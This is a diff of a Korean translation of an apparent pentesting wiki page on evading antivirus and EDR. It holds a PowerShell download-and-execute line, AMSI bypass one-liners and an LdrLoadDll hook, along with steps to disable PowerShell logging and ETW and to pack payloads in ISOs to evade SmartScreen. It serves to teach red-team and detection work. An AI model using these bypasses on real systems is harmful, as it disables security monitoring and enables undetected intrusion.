이는 스크립트 내용을 암호화되지 않고 난독화되지 않은 형태로 노출하여 안티바이러스 솔루션이 스크립트 동작을 검사할 수 있게 합니다.
|
||||
AMSI는 스크립트 내용을 암호화/난독화되지 않은 형태로 노출하여 안티바이러스가 스크립트 동작을 검사할 수 있게 한다.
|
||||
|
||||
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`를 실행하면 Windows Defender에서 다음과 같은 경고가 발생합니다.
|
||||
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`를 실행하면 Windows Defender에서 다음과 같은 경고가 발생한다.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`amsi:`를 앞에 붙이고 스크립트가 실행된 실행 파일의 경로(이 경우 powershell.exe)를 표시하는 것을 볼 수 있습니다.
|
||||
앞에 `amsi:`가 붙고 그 뒤에 스크립트를 실행한 실행 파일의 경로(이 경우 powershell.exe)가 오는 것을 확인할 수 있다.
|
||||
|
||||
디스크에 어떤 파일도 떨어뜨리지 않았지만 AMSI 때문에 메모리에서 실행 중인 상태도 탐지되었습니다.
|
||||
파일을 디스크에 기록하지 않았음에도 AMSI 때문에 메모리 상에서 탐지되었다.
|
||||
|
||||
더욱이, **.NET 4.8**부터는 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 통한 인메모리 로딩에도 영향을 줍니다. 따라서 AMSI를 회피하려면 인메모리 실행용으로는 .NET의 더 낮은 버전(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
|
||||
또한, **.NET 4.8**부터는 C# 코드도 AMSI를 통해 실행된다. 이는 `Assembly.Load(byte[])`와 같은 메모리 로드에도 영향을 준다. 따라서 AMSI를 회피하려면 메모리 실행을 위해 .NET의 낮은 버전(예: 4.7.2 이하) 사용을 권장한다.
|
||||
|
||||
AMSI를 우회하는 방법은 몇 가지가 있습니다:
|
||||
AMSI를 우회하는 방법은 몇 가지가 있다:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
AMSI는 주로 정적 탐지에 의존하므로, 로드하려는 스크립트를 수정하는 것은 탐지를 회피하는 좋은 방법이 될 수 있습니다.
|
||||
AMSI가 주로 정적 탐지로 동작하므로 로드하려는 스크립트를 변경하는 것이 탐지를 피하는 데 도움이 될 수 있다.
|
||||
|
||||
그러나 AMSI는 여러 레이어의 난독화가 있더라도 스크립트를 복원할 수 있는 능력이 있으므로, 난독화 방법에 따라 오히려 효과가 없을 수 있습니다. 따라서 회피가 간단하지 않을 수 있습니다. 다만 때때로 몇 개의 변수명만 바꿔도 해결되는 경우가 있으므로, 얼마나 심하게 표시되었는지에 따라 달라집니다.
|
||||
하지만 AMSI는 여러 단계로 난독화된 스크립트도 복원할 수 있는 기능을 가지므로, 난독화는 어떻게 되느냐에 따라 오히려 좋지 않은 선택이 될 수 있다. 따라서 우회가 간단하지 않을 수 있다. 때로는 변수명 몇 개만 바꿔도 통과되는 경우도 있으므로, 탐지 정도에 따라 다르다.
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
AMSI는 powershell(및 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하는 방식으로 구현되어 있기 때문에, 권한이 없는 사용자로 실행 중일 때에도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함으로 연구자들은 AMSI 스캔을 회피하는 여러 방법을 찾아냈습니다.
|
||||
AMSI는 DLL을 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 로드하는 방식으로 구현되어 있어, 권한이 없는 사용자로 실행 중이라도 이를 쉽게 조작할 수 있다. 이런 구현상의 결함 때문에 연구자들은 AMSI 스캐닝을 회피하는 여러 방법을 발견했다.
|
||||
|
||||
**Forcing an Error**
|
||||
**Forcing an Error**
|
||||
|
||||
AMSI 초기화가 실패하도록 강제(amsiInitFailed)하면 현재 프로세스에 대해 스캔이 시작되지 않습니다. 원래 이 기법은 [Matt Graeber](https://twitter.com/mattifestation)이 공개했으며, Microsoft는 보다 광범위한 사용을 막기 위해 시그니처를 개발했습니다.
|
||||
AMSI 초기화가 실패하도록 강제(amsiInitFailed)하면 현재 프로세스에 대해 스캔이 시작되지 않는다. 원래 이 기법은 [Matt Graeber](https://twitter.com/mattifestation)가 공개했으며 Microsoft는 이러한 광범위한 사용을 막기 위한 시그니처를 개발했다.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
한 줄의 powershell 코드만으로 현재 powershell 프로세스에서 AMSI를 사용할 수 없게 만들 수 있었다. 이 한 줄은 물론 AMSI 자체에 의해 탐지되었기 때문에 이 기법을 사용하려면 약간의 수정이 필요하다.
|
||||
AMSI를 현재 powershell 프로세스에서 사용할 수 없게 만드는 데는 powershell 코드 한 줄이면 충분했습니다. 물론 이 한 줄은 AMSI 자체에 의해 탐지되었으므로 이 기술을 사용하려면 약간의 수정이 필요합니다.
|
||||
|
||||
다음은 이 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)에서 가져온 수정된 AMSI bypass이다.
|
||||
다음은 제가 이 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)에서 가져온 수정된 AMSI bypass입니다.
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
@ -251,74 +265,109 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||
이 기술은 처음에 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 발견되었으며, amsi.dll의 "AmsiScanBuffer" 함수 주소를 찾아 사용자가 제공한 입력을 스캔하는 해당 함수를 E_INVALIDARG 코드를 반환하도록 덮어쓰는 방식입니다. 이렇게 하면 실제 스캔 결과가 0을 반환하게 되고, 이는 클린한 결과로 해석됩니다.
|
||||
|
||||
> [!TIP]
|
||||
> Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
|
||||
> 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)을(를) 읽어보십시오.
|
||||
|
||||
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
|
||||
|
||||
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
|
||||
### AMSI 차단: amsi.dll 로드 방지 (LdrLoadDll hook)
|
||||
|
||||
**Remove the detected signature**
|
||||
AMSI는 `amsi.dll`이 현재 프로세스에 로드된 후에만 초기화됩니다. 언어에 구애받지 않는 견고한 우회 방법은 요청된 모듈이 `amsi.dll`일 때 오류를 반환하도록 `ntdll!LdrLoadDll`에 사용자 모드 후크를 설치하는 것입니다. 그 결과 AMSI는 로드되지 않으며 해당 프로세스에 대해 스캔이 전혀 수행되지 않습니다.
|
||||
|
||||
You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory.
|
||||
Implementation outline (x64 C/C++ pseudocode):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
|
||||
static pLdrLoadDll realLdrLoadDll;
|
||||
|
||||
You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
|
||||
if (module && module->Buffer){
|
||||
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
|
||||
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
|
||||
// Pretend the DLL cannot be found → AMSI never initialises in this process
|
||||
return STATUS_DLL_NOT_FOUND; // 0xC0000135
|
||||
}
|
||||
}
|
||||
return realLdrLoadDll(path, flags, module, handle);
|
||||
}
|
||||
|
||||
**Use Powershell version 2**
|
||||
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
|
||||
void InstallHook(){
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
|
||||
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
|
||||
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
|
||||
}
|
||||
```
|
||||
참고
|
||||
- PowerShell, WScript/CScript 및 custom loaders 전반에서 동작합니다 (AMSI를 로드하는 모든 경우에 해당).
|
||||
- 긴 명령줄 흔적을 피하기 위해 stdin으로 스크립트를 공급하는 방식(`PowerShell.exe -NoProfile -NonInteractive -Command -`)과 함께 사용하세요.
|
||||
- LOLBins을 통해 실행되는 loaders(예: `regsvr32`가 `DllRegisterServer`를 호출하는 경우)에서 사용되는 것이 관찰되었습니다.
|
||||
|
||||
This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
|
||||
|
||||
**탐지된 시그니처 제거**
|
||||
|
||||
다음과 같은 도구들 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 을 사용하여 현재 프로세스의 메모리에서 탐지된 AMSI 시그니처를 제거할 수 있습니다. 이 도구들은 현재 프로세스의 메모리를 스캔해 AMSI 시그니처를 찾고 NOP 명령으로 덮어써 메모리에서 실질적으로 제거합니다.
|
||||
|
||||
**AMSI를 사용하는 AV/EDR 제품**
|
||||
|
||||
AMSI를 사용하는 AV/EDR 제품 목록은 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 에서 확인할 수 있습니다.
|
||||
|
||||
**PowerShell 버전 2 사용**
|
||||
PowerShell 버전 2를 사용하면 AMSI가 로드되지 않으므로 스크립트가 AMSI로 스캔되지 않은 채 실행됩니다. 다음과 같이 실행할 수 있습니다:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS 로깅
|
||||
|
||||
PowerShell 로깅은 시스템에서 실행된 모든 PowerShell 명령을 기록할 수 있게 해주는 기능이다. 감사와 문제 해결에 유용하지만, 탐지를 회피하려는 공격자에게는 문제가 될 수 있다.
|
||||
PowerShell logging은 시스템에서 실행된 모든 PowerShell 명령을 기록할 수 있게 해주는 기능입니다. 이는 감사 및 문제 해결에 유용하지만, 탐지를 회피하려는 공격자에게는 **문제가 될 수 있습니다**.
|
||||
|
||||
PowerShell 로깅을 우회하기 위해 다음 기법들을 사용할 수 있다:
|
||||
PowerShell 로깅을 우회하려면 다음 기술을 사용할 수 있습니다:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: 이 목적을 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 같은 도구를 사용할 수 있다.
|
||||
- **Use Powershell version 2**: PowerShell version 2를 사용하면 AMSI가 로드되지 않으므로 AMSI 검사 없이 스크립트를 실행할 수 있다. 예: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: 방어가 없는 powershell을 생성하려면 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 를 사용하라 (이 방법은 Cobal Strike의 `powerpick`이 사용하는 방식이다).
|
||||
- **Disable PowerShell Transcription and Module Logging**: 이 목적을 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 같은 도구를 사용할 수 있습니다.
|
||||
- **Use Powershell version 2**: PowerShell version 2를 사용하면 AMSI가 로드되지 않아 AMSI의 스캔 없이 스크립트를 실행할 수 있습니다. 이렇게 실행하세요: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 를 사용해 방어가 없는 PowerShell 세션을 생성하세요 (이는 Cobal Strike의 `powerpick`이 사용하는 방식입니다).
|
||||
|
||||
|
||||
## 난독화
|
||||
|
||||
> [!TIP]
|
||||
> 여러 난독화 기법은 데이터를 암호화하는 데 의존하며, 이로 인해 바이너리의 엔트로피가 증가하여 AVs 및 EDRs가 탐지하기 쉬워진다. 이에 주의하고, 민감하거나 숨길 필요가 있는 코드 섹션에만 암호화를 적용하는 것이 좋다.
|
||||
> 여러 난독화 기법은 데이터를 암호화하는 데 의존하는데, 이는 바이너리의 엔트로피를 증가시켜 AV와 EDR이 탐지하기 쉬워집니다. 이 점을 주의하고, 민감하거나 숨겨야 할 코드의 특정 섹션에만 암호화를 적용하는 것을 권장합니다.
|
||||
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
### ConfuserEx로 보호된 .NET 바이너리의 난독화 해제
|
||||
|
||||
ConfuserEx 2(또는 상업적 포크)를 사용하는 악성코드를 분석할 때는 디컴파일러와 샌드박스를 차단하는 여러 보호 계층을 마주치는 것이 일반적이다. 아래 워크플로우는 신뢰성 있게 원본에 가까운 IL을 **복원**하며, 이후 dnSpy나 ILSpy 같은 도구에서 C#으로 디컴파일할 수 있다.
|
||||
ConfuserEx 2(또는 상업적 포크)를 사용하는 악성코드를 분석할 때, 디컴파일러와 샌드박스를 차단하는 여러 보호 계층을 마주하는 일이 흔합니다. 아래 워크플로우는 이후 dnSpy나 ILSpy 같은 도구로 C#으로 디컴파일할 수 있는 거의 원본에 가까운 IL을 안정적으로 **복원합니다**.
|
||||
|
||||
1. Anti-tampering 제거 – ConfuserEx는 모든 *method body*를 암호화하고 *module* 정적 생성자(`<Module>.cctor`) 내에서 복호화한다. 또한 PE 체크섬을 패치하여 수정 시 바이너리가 크래시나게 만든다. 암호화된 메타데이터 테이블을 찾고 XOR 키를 복구하여 클린 어셈블리를 다시 쓰려면 **AntiTamperKiller**를 사용하라:
|
||||
1. 안티탬퍼 제거 – ConfuserEx는 모든 *메서드 본문*을 암호화하고 *모듈* 정적 생성자 (`<Module>.cctor`) 내부에서 복호화합니다. 또한 PE 체크섬을 패치하므로 수정하면 바이너리가 충돌합니다. 암호화된 메타데이터 테이블을 찾고 XOR 키를 복구하여 깨끗한 어셈블리를 다시 쓰려면 **AntiTamperKiller**를 사용하세요:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
출력에는 자체 언패커를 만들 때 유용할 수 있는 6개의 안티탬퍼 파라미터(`key0-key3`, `nameHash`, `internKey`)가 포함된다.
|
||||
출력에는 자체 언패커를 만들 때 유용한 6개의 안티탬퍼 매개변수 (`key0-key3`, `nameHash`, `internKey`)가 포함됩니다.
|
||||
|
||||
2. 심볼 / 제어 흐름 복구 – *clean* 파일을 ConfuserEx를 인식하는 de4dot 포크인 **de4dot-cex**에 넣어라.
|
||||
2. 심볼 / 제어 흐름 복구 – *clean* 파일을 ConfuserEx를 인식하는 포크인 **de4dot-cex**에 넣습니다:
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – ConfuserEx 2 프로필 선택
|
||||
• de4dot는 control-flow flattening을 되돌리고 원래의 namespaces, classes 및 변수 이름을 복원하며 상수 문자열을 복호화한다.
|
||||
플래그:
|
||||
• `-p crx` – ConfuserEx 2 프로파일 선택
|
||||
• de4dot는 제어 흐름 평탄화(control-flow flattening)를 되돌리고 원래의 네임스페이스, 클래스 및 변수 이름을 복원하며 상수 문자열을 복호화합니다.
|
||||
|
||||
3. Proxy-call 제거 – ConfuserEx는 디컴파일을 더 어렵게 만들기 위해 직접적인 메서드 호출을 경량 래퍼(일명 *proxy calls*)로 대체한다. **ProxyCall-Remover**로 이를 제거하라:
|
||||
3. 프록시 호출 제거 – ConfuserEx는 디컴파일을 더욱 방해하기 위해 직접 메서드 호출을 경량의 래퍼(일명 *proxy calls*)로 대체합니다. 이를 제거하려면 **ProxyCall-Remover**를 사용하세요:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
이 단계 후에는 `Class8.smethod_10` 같은 불투명한 래퍼 함수 대신 `Convert.FromBase64String` 또는 `AES.Create()` 같은 일반적인 .NET API를 볼 수 있어야 한다.
|
||||
이 단계 후에는 불투명한 래퍼 함수(`Class8.smethod_10`, …) 대신 `Convert.FromBase64String`나 `AES.Create()` 같은 일반적인 .NET API가 보일 것입니다.
|
||||
|
||||
4. 수동 정리 – 결과 바이너리를 dnSpy에서 실행하여 큰 Base64 블롭이나 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 사용을 검색해 *실제* 페이로드를 찾아라. 종종 악성코드는 `<Module>.byte_0` 내부에 TLV로 인코딩된 바이트 배열로 저장한다.
|
||||
4. 수동 정리 – 결과 바이너리를 dnSpy로 열어 대형 Base64 블롭이나 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 사용을 검색해 *실제* 페이로드를 찾아보세요. 종종 악성 코드는 이를 `<Module>.byte_0` 내부에 초기화된 TLV 인코딩 바이트 배열로 저장합니다.
|
||||
|
||||
위 체인은 악성 샘플을 실행할 필요 없이 실행 흐름을 복원하므로 오프라인 워크스테이션에서 작업할 때 유용하다.
|
||||
위의 절차는 악성 샘플을 **실행하지 않고도** 실행 흐름을 복원하므로 오프라인 워크스테이션에서 작업할 때 유용합니다.
|
||||
|
||||
> 🛈 ConfuserEx는 `ConfusedByAttribute`라는 커스텀 어트리뷰트를 생성하며, 이는 샘플을 자동 분류하는 IOC로 사용할 수 있다.
|
||||
> 🛈 ConfuserEx는 `ConfusedByAttribute`라는 커스텀 어트리뷰트를 생성합니다. 이는 샘플을 자동으로 분류(triage)할 때 IOC로 사용할 수 있습니다.
|
||||
|
||||
#### 원라이너
|
||||
```bash
|
||||
@ -327,37 +376,37 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목적은 [LLVM](http://www.llvm.org/) 컴파일링 스위트의 오픈 소스 포크를 제공하여 [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 및 변조 방지를 통해 소프트웨어 보안을 향상시키는 것입니다.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 외부 도구를 사용하거나 컴파일러를 수정하지 않고 `C++11/14`를 이용해 컴파일 시에 obfuscated code를 생성하는 방법을 시연합니다.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크로 생성된 obfuscated operations 계층을 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys 등을 포함한 다양한 pe 파일을 obfuscate할 수 있는 x64 binary obfuscator입니다.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame은 임의의 실행 파일을 위한 단순한 metamorphic code 엔진입니다.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(return-oriented programming)를 사용해 LLVM 지원 언어용의 세밀한 code obfuscation 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 어셈블리 코드 수준에서 프로그램을 obfuscate함으로써 기존의 정상적인 제어 흐름 개념을 방해합니다.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목적은 [LLVM](http://www.llvm.org/) 컴파일 스위트의 오픈 소스 포크를 제공하여, code obfuscation 및 무결성 보호를 통해 소프트웨어 보안을 향상시키는 것입니다.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 컴파일 시점에 외부 도구나 컴파일러 수정을 사용하지 않고 obfuscated code를 생성하는 방법을 보여줍니다.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming framework가 생성한 obfuscated operations 레이어를 추가하여 애플리케이션을 분석하려는 사람의 작업을 조금 더 어렵게 만듭니다.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 x64 binary obfuscator로 .exe, .dll, .sys 등을 포함한 다양한 pe files를 obfuscate할 수 있습니다.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame은 임의 실행 파일을 위한 단순한 metamorphic code engine입니다.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP (return-oriented programming)를 사용하여 LLVM-supported languages를 위한 세분화된 code obfuscation 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP chains로 변환하여 어셈블리 코드 수준에서 프로그램을 obfuscate함으로써 정상적인 제어 흐름에 대한 우리의 직관을 저해합니다.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE Crypter입니다.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 shellcode로 변환한 후 로드할 수 있습니다
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 shellcode로 변환한 다음 이를 로드할 수 있습니다
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
인터넷에서 일부 실행 파일을 다운로드하여 실행할 때 이 화면을 본 적이 있을 것입니다.
|
||||
|
||||
Microsoft Defender SmartScreen은 최종 사용자가 잠재적으로 악성인 응용 프로그램을 실행하는 것으로부터 보호하기 위한 보안 메커니즘입니다.
|
||||
Microsoft Defender SmartScreen은 잠재적으로 악성인 애플리케이션 실행으로부터 최종 사용자를 보호하기 위한 보안 메커니즘입니다.
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen은 주로 reputation-based 접근 방식을 사용합니다. 즉, 드물게 다운로드되는 애플리케이션은 SmartScreen을 트리거하여 경고를 표시하고 최종 사용자가 파일을 실행하지 못하도록 방지합니다(하지만 파일은 여전히 More Info -> Run anyway를 클릭하면 실행할 수 있습니다).
|
||||
SmartScreen은 주로 평판 기반 접근 방식으로 작동합니다. 즉, 일반적이지 않은 다운로드된 애플리케이션은 SmartScreen을 트리거하여 파일 실행을 경고하고 차단합니다(하지만 파일은 여전히 More Info -> Run anyway를 클릭하면 실행될 수 있습니다).
|
||||
|
||||
**MoTW** (Mark of The Web) 는 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) 중 Zone.Identifier라는 이름을 가진 ADS로, 인터넷에서 파일을 다운로드할 때 다운로드된 URL과 함께 자동으로 생성됩니다.
|
||||
**MoTW** (Mark of The Web)는 다운로드 시 자동으로 생성되는 Zone.Identifier라는 이름의 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)으로, 다운로드된 URL 정보를 포함합니다.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>인터넷에서 다운로드한 파일의 Zone.Identifier ADS를 확인합니다.</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>인터넷에서 다운로드한 파일의 Zone.Identifier ADS를 확인하는 중.</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 중요한 점은 **신뢰된** 서명 인증서로 서명된 실행 파일은 SmartScreen을 **트리거하지 않습니다**.
|
||||
> 실행 파일이 **trusted** signing certificate로 서명된 경우 **won't trigger SmartScreen** 한다는 점을 명심하세요.
|
||||
|
||||
payloads가 Mark of The Web을 얻지 않게 하는 매우 효과적인 방법은 ISO 같은 컨테이너 안에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW)이 **non NTFS** 볼륨에는 **적용될 수 없습니다**.
|
||||
payloads에 Mark of The Web가 붙는 것을 방지하는 매우 효과적인 방법 중 하나는 ISO와 같은 컨테이너 안에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW)이 **non NTFS** 볼륨에는 적용될 수 없기 때문입니다.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) 는 payloads를 output containers에 패키징하여 Mark-of-the-Web을 회피하는 도구입니다.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 payloads를 output containers로 패키징하여 Mark-of-the-Web을 회피하는 도구입니다.
|
||||
|
||||
Example usage:
|
||||
```bash
|
||||
@ -381,57 +430,57 @@ Adding file: /TotallyLegitApp.exe
|
||||
|
||||
[+] Generated file written to (size: 3420160): container.iso
|
||||
```
|
||||
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
다음은 [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)를 사용해 페이로드를 ISO 파일 안에 패키징하여 SmartScreen을 우회하는 데모입니다
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW)는 애플리케이션과 시스템 구성요소가 **events를 기록(log events)** 할 수 있게 해주는 강력한 Windows 로깅 메커니즘입니다. 그러나 보안 제품들이 악성 활동을 모니터링하고 탐지하는데 ETW를 활용할 수도 있습니다.
|
||||
Event Tracing for Windows (ETW)는 Windows에서 애플리케이션 및 시스템 구성 요소가 **이벤트를 기록**할 수 있게 해주는 강력한 로깅 메커니즘입니다. 그러나 보안 제품이 악성 활동을 모니터링하고 탐지하는 데에도 사용될 수 있습니다.
|
||||
|
||||
AMSI가 우회되는 방식과 유사하게, 사용자 공간 프로세스의 **`EtwEventWrite`** 함수를 즉시 반환하도록 만들어 어떠한 이벤트도 기록되지 않게 하는 것도 가능합니다. 이는 메모리에서 해당 함수를 패치하여 즉시 반환하게 함으로써 그 프로세스에 대한 ETW 로깅을 사실상 비활성화하는 방법입니다.
|
||||
AMSI가 비활성화(우회)되는 방식과 유사하게, 사용자 공간 프로세스의 **`EtwEventWrite`** 함수를 이벤트를 기록하지 않고 즉시 반환하게 만들 수도 있습니다. 이는 메모리에서 해당 함수를 패치하여 즉시 반환하도록 만들어 해당 프로세스의 ETW 로깅을 사실상 비활성화하는 방식으로 수행됩니다.
|
||||
|
||||
자세한 내용은 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** 를 참고하세요.
|
||||
자세한 내용은 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**에서 확인할 수 있습니다.
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
메모리에서 C# 바이너리를 로드하는 것은 오래전부터 알려진 방법이며, 여전히 AV에 걸리지 않고 post-exploitation 도구를 실행하는 훌륭한 방법입니다.
|
||||
메모리에서 C# 바이너리를 로드하는 것은 꽤 오래전부터 알려져 왔으며, 여전히 AV에 탐지되지 않고 포스트 익스플로잇 도구를 실행하는 매우 좋은 방법입니다.
|
||||
|
||||
페이로드가 디스크를 건드리지 않고 직접 메모리로 로드되기 때문에, 우리는 프로세스 전체에 대해 AMSI를 패치하는 것만 신경쓰면 됩니다.
|
||||
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI 패치만 신경 쓰면 됩니다.
|
||||
|
||||
대부분의 C2 프레임워크(sliver, Covenant, metasploit, CobaltStrike, Havoc 등)는 이미 C# 어셈블리를 메모리에서 직접 실행하는 기능을 제공하지만, 이를 구현하는 방법은 여러 가지가 있습니다:
|
||||
대부분의 C2 프레임워크 (sliver, Covenant, metasploit, CobaltStrike, Havoc, 등)는 이미 C# 어셈블리를 메모리에서 직접 실행하는 기능을 제공하지만, 이를 수행하는 여러 방법이 있습니다:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
